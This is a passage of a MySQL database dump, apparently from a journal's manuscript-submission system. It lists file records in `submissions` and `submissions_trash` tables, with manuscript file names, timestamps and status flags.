09:37:28',1,1,0),(40788,14892,'14892-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 09:38:11',1,1,0),(40789,14893,'14893-0-Manuscript-2024-05-17.docx',NULL,'2024-05-17 09:38:48',1,1,0),(40790,14894,'14894-0-Manuscript-2024-05-18.docx',NULL,'2024-05-18 06:34:39',1,1,0),(40791,14895,'14895-0-Manuscript-2024-05-19.docx',NULL,'2024-05-19 16:16:42',1,1,0),(40792,14846,'14846-Manuscript-2024-05-20-zrpw-ipjnn-24-14846.docx',NULL,'2024-05-20 04:39:06',1,3,0),(40793,14845,'14845-Manuscript-2024-05-20-zaw7-ipjnn-24-14845.docx',NULL,'2024-05-20 04:39:15',1,3,0),(40794,14843,'14843-Manuscript-2024-05-20-s87b-ipjnn-24-14843.docx',NULL,'2024-05-20 04:39:30',1,3,0),(40795,14842,'14842-Manuscript-2024-05-20-2401-ipjnn-24-14842.docx',NULL,'2024-05-20 04:39:38',1,3,0),(40796,14841,'14841-Manuscript-2024-05-20-vw57-ipjnn-24-14841.docx',NULL,'2024-05-20 04:39:45',1,3,0),(40797,14840,'14840-Manuscript-2024-05-20-leom-ipjnn-24-14840.docx',NULL,'2024-05-20 04:39:53',1,3,0),(40798,14839,'14839-Manuscript-2024-05-20-5783-ipjnn-24-14839.docx',NULL,'2024-05-20 04:40:02',1,3,0),(40799,14838,'14838-Manuscript-2024-05-20-7qei-ipjnn-24-14838.docx',NULL,'2024-05-20 04:40:10',1,3,0),(40800,14837,'14837-Manuscript-2024-05-20-sgmc-ipjnn-24-14837.docx',NULL,'2024-05-20 04:40:16',1,3,0),(40801,14844,'14844-Manuscript-2024-05-20-4ivn-ipjnn-24-14844.docx',NULL,'2024-05-20 04:57:34',1,3,0),(40802,14896,'14896-0-Manuscript-2024-05-20.docx',NULL,'2024-05-20 08:45:37',1,1,0),(40803,14793,'14793-9q52-Manuscript-proof-submission-2024-05-23.docx',NULL,'2024-05-23 08:06:24',1,3,0),(40804,14793,'14793-hg5m-Manuscript-proof-submission-2024-05-23.pdf',NULL,'2024-05-23 08:06:24',1,3,0),(40805,14793,'14793-d0zs-Manuscript-proof-submission-2024-05-23.docx',NULL,'2024-05-23 08:06:28',1,3,0),(40806,14793,'14793-pcrn-Manuscript-proof-submission-2024-05-23.pdf',NULL,'2024-05-23 08:06:28',1,3,0),(40807,14792,'14792-abqx-Manuscript-proof-submission-2024-05-23.docx',NULL,'2024-05-23 08:07:25',1,3,0),(40808,14792,'14792-miac-Manuscript-proof-submission-2024-05-23.pdf',NULL,'2024-05-23 08:07:25',1,3,0),(40809,14791,'14791-0yoi-Manuscript-proof-submission-2024-05-23.docx',NULL,'2024-05-23 08:08:39',1,3,0),(40810,14791,'14791-e5b7-Manuscript-proof-submission-2024-05-23.pdf',NULL,'2024-05-23 08:08:39',1,3,0),(40811,14790,'14790-n8lh-Manuscript-proof-submission-2024-05-23.docx',NULL,'2024-05-23 08:09:38',1,3,0),(40812,14790,'14790-65py-Manuscript-proof-submission-2024-05-23.pdf',NULL,'2024-05-23 08:09:38',1,3,0),(40813,14789,'14789-t7yr-Manuscript-proof-submission-2024-05-23.docx',NULL,'2024-05-23 08:10:34',1,3,0),(40814,14789,'14789-4wmt-Manuscript-proof-submission-2024-05-23.pdf',NULL,'2024-05-23 08:10:34',1,3,0),(40815,14789,'14789-z7ts-Manuscript-proof-submission-2024-05-23.docx',NULL,'2024-05-23 08:16:18',1,3,0),(40816,14789,'14789-q42e-Manuscript-proof-submission-2024-05-23.pdf',NULL,'2024-05-23 08:16:18',1,3,0),(40817,14792,'14792-l7k5-Manuscript-proof-submission-2024-05-23.docx',NULL,'2024-05-23 08:35:25',1,3,0),(40818,14792,'14792-wupm-Manuscript-proof-submission-2024-05-23.pdf',NULL,'2024-05-23 08:35:25',1,3,0),(40819,14626,'14626-nrbu-Manuscript-proof-submission-2024-05-23.docx',NULL,'2024-05-23 09:00:33',1,3,0),(40820,14626,'14626-z0jm-Manuscript-proof-submission-2024-05-23.pdf',NULL,'2024-05-23 09:00:33',1,3,0),(40821,14626,'14626-d6eq-Manuscript-proof-submission-2024-05-23.docx',NULL,'2024-05-23 09:24:45',1,3,0),(40822,14626,'14626-g2q7-Manuscript-proof-submission-2024-05-23.pdf',NULL,'2024-05-23 09:24:45',1,3,0),(40823,14790,'14790-p0ni-Manuscript-proof-submission-2024-05-23.docx',NULL,'2024-05-23 09:53:29',1,3,0),(40824,14790,'14790-4amu-Manuscript-proof-submission-2024-05-23.pdf',NULL,'2024-05-23 09:53:29',1,3,0),(40825,14790,'14790-dhia-Manuscript-proof-submission-2024-05-23.docx',NULL,'2024-05-23 09:59:17',1,3,0),(40826,14790,'14790-w47l-Manuscript-proof-submission-2024-05-23.pdf',NULL,'2024-05-23 09:59:17',1,3,0),(40827,14846,'14846-Manuscript-2024-05-23-phe4-move-pdf-making.pdf',NULL,'2024-05-23 10:19:11',1,3,0),(40828,14845,'14845-Manuscript-2024-05-23-74qa-move-pdf-making.pdf',NULL,'2024-05-23 10:20:07',1,3,0),(40829,14844,'14844-Manuscript-2024-05-23-ckuh-move-pdf-making.pdf',NULL,'2024-05-23 11:25:01',1,3,0),(40830,14843,'14843-Manuscript-2024-05-23-k5c0-move-pdf-making.pdf',NULL,'2024-05-23 11:26:40',1,3,0),(40831,14842,'14842-Manuscript-2024-05-23-qtcb-move-pdf-making.pdf',NULL,'2024-05-23 11:27:31',1,3,0),(40832,14841,'14841-Manuscript-2024-05-23-gz6o-move-pdf-making.pdf',NULL,'2024-05-23 11:27:58',1,3,0),(40833,14840,'14840-Manuscript-2024-05-23-2yho-move-pdf-making.pdf',NULL,'2024-05-23 11:28:44',1,3,0),(40834,14839,'14839-Manuscript-2024-05-23-8v1a-move-pdf-making.pdf',NULL,'2024-05-23 11:29:24',1,3,0),(40835,14838,'14838-Manuscript-2024-05-23-qfx6-move-pdf-making.pdf',NULL,'2024-05-23 11:31:31',1,3,0),(40836,14837,'14837-Manuscript-2024-05-23-gw6l-move-pdf-making.pdf',NULL,'2024-05-23 11:32:31',1,3,0),(40837,14837,'14837-Manuscript-2024-05-23-0f8s.pdf',NULL,'2024-05-23 12:48:51',1,3,0),(40838,14838,'14838-Manuscript-2024-05-23-2c3i.pdf',NULL,'2024-05-23 12:49:04',1,3,0),(40839,14839,'14839-Manuscript-2024-05-23-0wcy.pdf',NULL,'2024-05-23 12:51:14',1,3,0),(40840,14840,'14840-Manuscript-2024-05-23-ugw7.pdf',NULL,'2024-05-23 12:51:22',1,3,0),(40841,14841,'14841-Manuscript-2024-05-23-x28p.pdf',NULL,'2024-05-23 12:51:33',1,3,0),(40842,14842,'14842-Manuscript-2024-05-23-k1g4.pdf',NULL,'2024-05-23 12:51:57',1,3,0),(40843,14843,'14843-Manuscript-2024-05-23-0c5s.pdf',NULL,'2024-05-23 12:52:14',1,3,0),(40844,14844,'14844-Manuscript-2024-05-23-vgld.pdf',NULL,'2024-05-23 12:52:30',1,3,0),(40845,14846,'14846-Manuscript-2024-05-23-tse7.pdf',NULL,'2024-05-23 12:52:43',1,3,0),(40846,14845,'14845-Manuscript-2024-05-24-s1fw.pdf',NULL,'2024-05-24 03:47:12',1,3,0),(40847,14855,'14855-Manuscript-2024-05-24-1q52.pdf',NULL,'2024-05-24 04:20:10',1,3,0),(40848,14856,'14856-Manuscript-2024-05-24-nb6r.pdf',NULL,'2024-05-24 04:20:19',1,3,0),(40849,14857,'14857-Manuscript-2024-05-24-kt0v.pdf',NULL,'2024-05-24 04:20:29',1,3,0),(40850,14858,'14858-Manuscript-2024-05-24-ewsr.pdf',NULL,'2024-05-24 04:20:44',1,3,0),(40851,14859,'14859-Manuscript-2024-05-24-zqg4.pdf',NULL,'2024-05-24 04:21:01',1,3,0),(40852,14850,'14850-Manuscript-2024-05-24-0wm2.pdf',NULL,'2024-05-24 04:21:13',1,3,0),(40853,14851,'14851-Manuscript-2024-05-24-t512.pdf',NULL,'2024-05-24 04:21:31',1,3,0),(40854,14852,'14852-Manuscript-2024-05-24-1e7g.pdf',NULL,'2024-05-24 04:21:48',1,3,0),(40855,14853,'14853-Manuscript-2024-05-24-5hwv.pdf',NULL,'2024-05-24 04:22:05',1,3,0),(40856,14854,'14854-Manuscript-2024-05-24-ekso.pdf',NULL,'2024-05-24 04:22:16',1,3,0),(40857,14897,'14897-0-Manuscript-2024-05-24.docx',NULL,'2024-05-24 04:27:21',1,1,0),(40858,14898,'14898-0-Manuscript-2024-05-24.docx',NULL,'2024-05-24 04:29:14',1,1,0),(40859,14763,'14763-xuvf-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 07:47:07',1,3,0),(40860,14763,'14763-ug67-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 07:47:07',1,3,0),(40861,14762,'14762-34pm-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 07:48:00',1,3,0),(40862,14762,'14762-i032-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 07:48:00',1,3,0),(40863,14761,'14761-zrxe-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 07:48:56',1,3,0),(40864,14761,'14761-sfwb-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 07:48:56',1,3,0),(40865,14760,'14760-bhzx-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 07:49:45',1,3,0),(40866,14760,'14760-39k6-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 07:49:45',1,3,0),(40867,14760,'14760-dl7o-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 07:49:54',1,3,0),(40868,14760,'14760-cr5l-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 07:49:54',1,3,0),(40869,14760,'14760-68ed-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 07:49:56',1,3,0),(40870,14760,'14760-x4ez-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 07:49:56',1,3,0),(40871,14759,'14759-6o3g-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 07:50:57',1,3,0),(40872,14759,'14759-9nei-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 07:50:57',1,3,0),(40873,14758,'14758-ods0-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 07:52:07',1,3,0),(40874,14758,'14758-i59d-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 07:52:07',1,3,0),(40875,14757,'14757-ob81-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 07:53:30',1,3,0),(40876,14757,'14757-lr89-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 07:53:30',1,3,0),(40877,14756,'14756-vayh-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 07:54:31',1,3,0),(40878,14756,'14756-0n2g-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 07:54:31',1,3,0),(40879,14755,'14755-c3nt-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 07:55:53',1,3,0),(40880,14755,'14755-9ctx-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 07:55:53',1,3,0),(40881,14754,'14754-zepx-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 07:58:34',1,3,0),(40882,14754,'14754-bdwp-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 07:58:34',1,3,0),(40883,14774,'14774-1jm8-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:12:36',1,3,0),(40884,14774,'14774-23ty-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:12:36',1,3,0),(40885,14773,'14773-ayck-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:14:03',1,3,0),(40886,14773,'14773-5b01-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:14:03',1,3,0),(40887,14772,'14772-cvx0-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:15:01',1,3,0),(40888,14772,'14772-76aj-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:15:01',1,3,0),(40889,14771,'14771-f3ja-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:16:04',1,3,0),(40890,14771,'14771-yd4x-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:16:04',1,3,0),(40891,14770,'14770-xdet-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:18:22',1,3,0),(40892,14770,'14770-hkeu-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:18:22',1,3,0),(40893,14770,'14770-n4op-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:18:27',1,3,0),(40894,14770,'14770-1tbi-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:18:27',1,3,0),(40895,14770,'14770-j2hv-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:18:28',1,3,0),(40896,14770,'14770-79qz-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:18:28',1,3,0),(40897,14770,'14770-7h36-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:18:31',1,3,0),(40898,14770,'14770-dewx-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:18:31',1,3,0),(40899,14770,'14770-xiz3-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:18:32',1,3,0),(40900,14770,'14770-4h1i-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:18:32',1,3,0),(40901,14770,'14770-ojng-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:18:33',1,3,0),(40902,14770,'14770-dj9b-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:18:33',1,3,0),(40903,14770,'14770-9swc-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:18:35',1,3,0),(40904,14770,'14770-g20z-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:18:35',1,3,0),(40905,14770,'14770-itbx-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:18:39',1,3,0),(40906,14770,'14770-dnku-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:18:39',1,3,0),(40907,14769,'14769-jwfy-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:19:48',1,3,0),(40908,14769,'14769-2ykl-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:19:48',1,3,0),(40909,14769,'14769-6ldi-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:20:04',1,3,0),(40910,14769,'14769-6wa8-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:20:04',1,3,0),(40911,14768,'14768-8neq-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:20:56',1,3,0),(40912,14768,'14768-d1lw-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:20:56',1,3,0),(40913,14767,'14767-cjts-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:22:29',1,3,0),(40914,14767,'14767-ypxn-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:22:29',1,3,0),(40915,14766,'14766-hkrw-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:23:31',1,3,0),(40916,14766,'14766-w6p2-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:23:31',1,3,0),(40917,14765,'14765-jz8s-Manuscript-proof-submission-2024-05-25.docx',NULL,'2024-05-25 10:24:37',1,3,0),(40918,14765,'14765-0osl-Manuscript-proof-submission-2024-05-25.pdf',NULL,'2024-05-25 10:24:37',1,3,0),(40919,14899,'14899-0-Manuscript-2024-05-27.docx',NULL,'2024-05-27 04:11:07',1,1,0),(40920,14900,'14900-0-Manuscript-2024-05-27.docx',NULL,'2024-05-27 04:14:07',1,1,0),(40921,14901,'14901-0-Manuscript-2024-05-27.docx',NULL,'2024-05-27 04:15:34',1,1,0),(40922,14831,'14831-tnmd-Manuscript-proof-submission-2024-05-27.rar',NULL,'2024-05-27 04:15:58',1,3,0),(40923,14902,'14902-0-Manuscript-2024-05-27.docx',NULL,'2024-05-27 04:16:44',1,1,0),(40924,14903,'14903-0-Manuscript-2024-05-27.docx',NULL,'2024-05-27 04:18:47',1,1,0),(40925,14904,'14904-0-Manuscript-2024-05-27.docx',NULL,'2024-05-27 04:20:45',1,1,0),(40926,14905,'14905-0-Manuscript-2024-05-27.docx',NULL,'2024-05-27 04:21:43',1,1,0),(40927,14906,'14906-0-Manuscript-2024-05-27.docx',NULL,'2024-05-27 04:24:03',1,1,0),(40928,14907,'14907-0-Manuscript-2024-05-27.docx',NULL,'2024-05-27 04:25:30',1,1,0),(40929,14908,'14908-0-Manuscript-2024-05-27.docx',NULL,'2024-05-27 04:29:19',1,1,0),(40930,14895,'14895-d4o8-Manuscript-proof-submission-2024-05-27.rar',NULL,'2024-05-27 06:06:32',1,3,0),(40931,14779,'14779-etjc-Manuscript-proof-submission-2024-05-27.pdf',NULL,'2024-05-27 08:20:38',1,3,0),(40932,14779,'14779-16bs-Manuscript-proof-submission-2024-05-27.docx',NULL,'2024-05-27 08:20:38',1,3,0),(40933,14780,'14780-zkcq-Manuscript-proof-submission-2024-05-27.pdf',NULL,'2024-05-27 08:28:50',1,3,0),(40934,14780,'14780-24aw-Manuscript-proof-submission-2024-05-27.docx',NULL,'2024-05-27 08:28:50',1,3,0),(40935,14894,'14894-o2yd-Manuscript-proof-submission-2024-05-27.rar',NULL,'2024-05-27 08:30:34',1,3,0),(40936,14781,'14781-06zu-Manuscript-proof-submission-2024-05-27.pdf',NULL,'2024-05-27 08:35:35',1,3,0),(40937,14781,'14781-ogt6-Manuscript-proof-submission-2024-05-27.docx',NULL,'2024-05-27 08:35:35',1,3,0),(40938,14782,'14782-1z60-Manuscript-proof-submission-2024-05-27.pdf',NULL,'2024-05-27 08:38:45',1,3,0),(40939,14782,'14782-83uf-Manuscript-proof-submission-2024-05-27.docx',NULL,'2024-05-27 08:38:45',1,3,0),(40940,14783,'14783-0ej8-Manuscript-proof-submission-2024-05-27.pdf',NULL,'2024-05-27 08:43:15',1,3,0),(40941,14783,'14783-7z0e-Manuscript-proof-submission-2024-05-27.docx',NULL,'2024-05-27 08:43:15',1,3,0),(40942,14783,'14783-ke35-Manuscript-proof-submission-2024-05-27.pdf',NULL,'2024-05-27 09:00:50',1,3,0),(40943,14783,'14783-dorg-Manuscript-proof-submission-2024-05-27.docx',NULL,'2024-05-27 09:00:50',1,3,0),(40944,14783,'14783-nj24-Manuscript-proof-submission-2024-05-27.pdf',NULL,'2024-05-27 09:00:57',1,3,0),(40945,14783,'14783-xlqu-Manuscript-proof-submission-2024-05-27.docx',NULL,'2024-05-27 09:00:57',1,3,0),(40946,14784,'14784-fli7-Manuscript-proof-submission-2024-05-27.pdf',NULL,'2024-05-27 09:03:47',1,3,0),(40947,14784,'14784-kseh-Manuscript-proof-submission-2024-05-27.docx',NULL,'2024-05-27 09:03:47',1,3,0),(40948,14785,'14785-wt7e-Manuscript-proof-submission-2024-05-27.pdf',NULL,'2024-05-27 09:07:34',1,3,0),(40949,14785,'14785-0jp8-Manuscript-proof-submission-2024-05-27.docx',NULL,'2024-05-27 09:07:34',1,3,0),(40950,14786,'14786-daj2-Manuscript-proof-submission-2024-05-27.pdf',NULL,'2024-05-27 09:08:28',1,3,0),(40951,14786,'14786-mf61-Manuscript-proof-submission-2024-05-27.docx',NULL,'2024-05-27 09:08:28',1,3,0),(40952,14787,'14787-wcm7-Manuscript-proof-submission-2024-05-27.pdf',NULL,'2024-05-27 09:09:34',1,3,0),(40953,14787,'14787-0lky-Manuscript-proof-submission-2024-05-27.docx',NULL,'2024-05-27 09:09:34',1,3,0),(40954,14788,'14788-elck-Manuscript-proof-submission-2024-05-27.rar',NULL,'2024-05-27 12:14:20',1,3,0),(40955,14846,'14846-Manuscript-2024-05-28-u84z-ap-ame-revised.pdf',NULL,'2024-05-28 05:18:09',1,3,0),(40956,14845,'14845-Manuscript-2024-05-28-8rnh-ap-ame-revised.pdf',NULL,'2024-05-28 05:18:49',1,3,0),(40957,14844,'14844-Manuscript-2024-05-28-qjy0-ap-ame-revised.pdf',NULL,'2024-05-28 05:19:32',1,3,0),(40958,14843,'14843-Manuscript-2024-05-28-b30c-ap-ame-revised.pdf',NULL,'2024-05-28 05:20:21',1,3,0),(40959,14842,'14842-Manuscript-2024-05-28-kva7-ap-ame-revised.pdf',NULL,'2024-05-28 05:21:05',1,3,0),(40960,14841,'14841-Manuscript-2024-05-28-q32c-ap-ame-revised.pdf',NULL,'2024-05-28 05:21:48',1,3,0),(40961,14846,'14846-Manuscript-2024-05-28-z184.pdf',NULL,'2024-05-28 05:22:20',1,3,0),(40962,14839,'14839-Manuscript-2024-05-28-4rtw-ap-ame-revised.pdf',NULL,'2024-05-28 05:22:24',1,3,0),(40963,14845,'14845-Manuscript-2024-05-28-8ol6.pdf',NULL,'2024-05-28 05:22:48',1,3,0),(40964,14838,'14838-Manuscript-2024-05-28-g36x-ap-ame-revised.pdf',NULL,'2024-05-28 05:23:02',1,3,0),(40965,14844,'14844-Manuscript-2024-05-28-u78v.pdf',NULL,'2024-05-28 05:23:10',1,3,0),(40966,14843,'14843-Manuscript-2024-05-28-pqu3.pdf',NULL,'2024-05-28 05:23:33',1,3,0),(40967,14837,'14837-Manuscript-2024-05-28-3yaf-ap-ame-revised.pdf',NULL,'2024-05-28 05:23:33',1,3,0),(40968,14842,'14842-Manuscript-2024-05-28-soga.pdf',NULL,'2024-05-28 05:23:57',1,3,0),(40969,14841,'14841-Manuscript-2024-05-28-pnlo.pdf',NULL,'2024-05-28 05:24:29',1,3,0),(40970,14839,'14839-Manuscript-2024-05-28-wn7x.pdf',NULL,'2024-05-28 05:25:08',1,3,0),(40971,14838,'14838-Manuscript-2024-05-28-za4k.pdf',NULL,'2024-05-28 05:25:48',1,3,0),(40972,14837,'14837-Manuscript-2024-05-28-kc0j.pdf',NULL,'2024-05-28 05:26:09',1,3,0),(40973,14794,'14794-ju0l-Manuscript-proof-submission-2024-05-28.rar',NULL,'2024-05-28 06:23:25',1,3,0),(40974,14909,'14909-0-Manuscript-2024-05-28.docx',NULL,'2024-05-28 21:25:57',1,1,0),(40975,14741,'14741-4hla-Manuscript-proof-submission-2024-05-29.rar',NULL,'2024-05-29 05:38:12',1,3,0),(40976,14910,'14910-0-Manuscript-2024-05-29.docx',NULL,'2024-05-29 05:59:40',1,1,0),(40977,14804,'14804-s3ub-Manuscript-proof-submission-2024-05-29.docx',NULL,'2024-05-29 08:43:53',1,3,0),(40978,14804,'14804-mzjr-Manuscript-proof-submission-2024-05-29.pdf',NULL,'2024-05-29 08:43:53',1,3,0),(40979,14803,'14803-pre0-Manuscript-proof-submission-2024-05-29.docx',NULL,'2024-05-29 08:45:27',1,3,0),(40980,14803,'14803-923w-Manuscript-proof-submission-2024-05-29.pdf',NULL,'2024-05-29 08:45:27',1,3,0),(40981,14803,'14803-8sj7-Manuscript-proof-submission-2024-05-29.docx',NULL,'2024-05-29 08:45:32',1,3,0),(40982,14803,'14803-uhks-Manuscript-proof-submission-2024-05-29.pdf',NULL,'2024-05-29 08:45:32',1,3,0),(40983,14802,'14802-i2zt-Manuscript-proof-submission-2024-05-29.docx',NULL,'2024-05-29 08:46:32',1,3,0),(40984,14802,'14802-u2c1-Manuscript-proof-submission-2024-05-29.pdf',NULL,'2024-05-29 08:46:32',1,3,0),(40985,14801,'14801-o9ne-Manuscript-proof-submission-2024-05-29.docx',NULL,'2024-05-29 08:47:27',1,3,0),(40986,14801,'14801-ojp0-Manuscript-proof-submission-2024-05-29.pdf',NULL,'2024-05-29 08:47:27',1,3,0),(40987,14800,'14800-hgqd-Manuscript-proof-submission-2024-05-29.docx',NULL,'2024-05-29 08:48:40',1,3,0),(40988,14800,'14800-g9oi-Manuscript-proof-submission-2024-05-29.pdf',NULL,'2024-05-29 08:48:40',1,3,0),(40989,14800,'14800-p3an-Manuscript-proof-submission-2024-05-29.docx',NULL,'2024-05-29 08:48:43',1,3,0),(40990,14800,'14800-3dkf-Manuscript-proof-submission-2024-05-29.pdf',NULL,'2024-05-29 08:48:43',1,3,0),(40991,14799,'14799-lij3-Manuscript-proof-submission-2024-05-29.docx',NULL,'2024-05-29 08:49:48',1,3,0),(40992,14799,'14799-wbdr-Manuscript-proof-submission-2024-05-29.pdf',NULL,'2024-05-29 08:49:48',1,3,0),(40993,14798,'14798-vi3q-Manuscript-proof-submission-2024-05-29.docx',NULL,'2024-05-29 08:51:10',1,3,0),(40994,14798,'14798-sfb6-Manuscript-proof-submission-2024-05-29.pdf',NULL,'2024-05-29 08:51:10',1,3,0),(40995,14797,'14797-9ysg-Manuscript-proof-submission-2024-05-29.docx',NULL,'2024-05-29 08:52:12',1,3,0),(40996,14797,'14797-nx0t-Manuscript-proof-submission-2024-05-29.pdf',NULL,'2024-05-29 08:52:12',1,3,0),(40997,14796,'14796-ublq-Manuscript-proof-submission-2024-05-29.docx',NULL,'2024-05-29 08:53:08',1,3,0),(40998,14796,'14796-uxay-Manuscript-proof-submission-2024-05-29.pdf',NULL,'2024-05-29 08:53:09',1,3,0),(40999,14795,'14795-dk7n-Manuscript-proof-submission-2024-05-29.docx',NULL,'2024-05-29 08:54:07',1,3,0),(41000,14795,'14795-qtx4-Manuscript-proof-submission-2024-05-29.pdf',NULL,'2024-05-29 08:54:07',1,3,0);
/*!40000 ALTER TABLE `submissions` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `submissions_trash`
--

DROP TABLE IF EXISTS `submissions_trash`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `submissions_trash` (
  `sb_id` int NOT NULL,
  `m_id` int NOT NULL,
  `sb_file` varchar(220) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `sb_file_size` varchar(60) CHARACTER SET latin1 COLLATE latin1_general_ci DEFAULT NULL,
  `date` date DEFAULT NULL,
  `sb_active` int NOT NULL DEFAULT '1',
  `sb_type` int NOT NULL DEFAULT '1',
  `download_stat` tinyint(1) NOT NULL DEFAULT '0'
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `submissions_trash`
--

LOCK TABLES `submissions_trash` WRITE;
/*!40000 ALTER TABLE `submissions_trash` DISABLE KEYS */;
INSERT INTO `submissions_trash` VALUES (0,0,'sb_file','sb_file_size','0000-00-00',0,0,0),(2151,1265,'1265-0-Manuscript-2019-08-15.docx','','2019-08-15',1,1,0),(2151,1265,'1265-0-Manuscript-2019-08-15.docx','','2019-08-15',1,1,0),(1914,1130,'1130-0-Manuscript-2019-08-12.docx','','2019-08-12',1,1,0),(1914,1130,'1130-0-Manuscript-2019-08-12.docx','','2019-08-12',1,1,0),(1915,1130,'1130-1-Manuscript-2019-08-12.pdf','','2019-08-12',1,1,0),(1915,1130,'1130-1-Manuscript-2019-08-12.pdf','','2019-08-12',1,1,0),(1837,1094,'1094-0-Manuscript-2019-08-10.docx','','2019-08-10',1,1,0),(1837,1094,'1094-0-Manuscript-2019-08-10.docx','','2019-08-10',1,1,0),(1288,765,'765-0-Manuscript-2019-07-31.pdf','','2019-07-31',1,1,0),(1288,765,'765-0-Manuscript-2019-07-31.pdf','','2019-07-31',1,1,0),(736,451,'451-0-Manuscript-2019-07-19.docx','','2019-07-19',1,1,0),(736,451,'451-0-Manuscript-2019-07-19.docx','','2019-07-19',1,1,0),(737,451,'451-1-Manuscript-2019-07-19.docx','','2019-07-19',1,1,0),(737,451,'451-1-Manuscript-2019-07-19.docx','','2019-07-19',1,1,0),(1149,691,'691-0-Manuscript-2019-07-28.docx','','2019-07-28',1,1,0),(1149,691,'691-0-Manuscript-2019-07-28.docx','','2019-07-28',1,1,0),(2843,1671,'1671-0-Manuscript-2019-08-26.docx','','2019-08-26',1,1,0),(2843,1671,'1671-0-Manuscript-2019-08-26.docx','','2019-08-26',1,1,0),(2047,1201,'1201-0-Manuscript-2019-08-14.docx','','2019-08-14',1,1,0),(3047,1791,'1791-0-Manuscript-2019-08-28.docx','','2019-08-28',1,1,0),(3345,1990,'1990-0-Manuscript-2019-09-01.doc','','2019-09-01',1,1,0),(3887,2282,'2282-0-Manuscript-2019-09-09.doc','','2019-09-09',1,1,0),(3888,2282,'2282-1-Manuscript-2019-09-09.pdf','','2019-09-09',1,1,0),(8675,5165,'5165-0-Manuscript-2020-07-13.docx','','2020-07-13',1,1,0),(8640,5148,'5148-0-Manuscript-2020-07-10.docx','','2020-07-10',1,1,0),(8696,5183,'5183-0-Manuscript-2020-07-14.docx','','2020-07-14',1,1,0),(8752,5214,'5214-0-Manuscript-2020-07-16.docx','','2020-07-16',1,1,0),(8736,5206,'5206-0-Manuscript-2020-07-15.doc','','2020-07-15',1,1,0),(8790,5236,'5236-0-Manuscript-2020-07-18.docx','','2020-07-18',1,1,0),(8865,5286,'5286-0-Manuscript-2020-07-22.docx','','2020-07-22',1,1,0),(8886,5304,'5304-0-Manuscript-2020-07-22.docx','','2020-07-22',1,1,0),(8971,5369,'5369-0-Manuscript-2020-07-26.docx','','2020-07-26',1,1,0),(8972,5370,'5370-0-Manuscript-2020-07-26.docx','','2020-07-26',1,1,0),(8973,5371,'5371-0-Manuscript-2020-07-26.docx','','2020-07-26',1,1,0)